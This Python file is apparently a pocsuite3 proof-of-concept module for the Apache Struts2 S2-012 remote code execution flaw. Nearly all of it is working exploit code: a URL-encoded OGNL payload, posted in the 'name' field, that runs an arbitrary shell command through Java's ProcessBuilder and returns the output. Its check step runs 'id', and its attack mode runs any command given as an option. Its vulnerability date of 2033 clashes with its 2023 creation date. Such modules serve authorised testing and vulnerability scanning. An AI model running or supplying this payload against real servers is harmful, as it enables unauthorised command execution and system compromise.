from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2033-11-15'
    createDate = '2023-11-15'
    updateDate = '2023-11-15'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-012']
    name = 'Apache Struts2 s2-012'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2 '
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-012:影响版本Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('ls', description="可执行的shell命令")
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        command = "id"
        html = self.exp(command)

        if "groups=" in html:
            result["VerifyInfo"] = {
                "URL": self.url,
            }
            return result

        return False

    def exp(self, command):
        exec_payload = "%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B'{cmd}'%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D"
        payload = exec_payload.format(cmd=quote(command))
        headers = {}
        headers['Content-Type'] = "application/x-www-form-urlencoded"
        data = f"name={payload}"
        html = requests.post(self.url, data=data, headers=headers).text
        return html

    def _attack(self):
        result = {}
        p = self._check()
        if p:
            command = self.get_option("command")
            html = self.exp(command)

            result["VerifyInfo"] = {
                "URL": self.url,
                "HTML": html.replace("\x00", "").encode()
            }

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
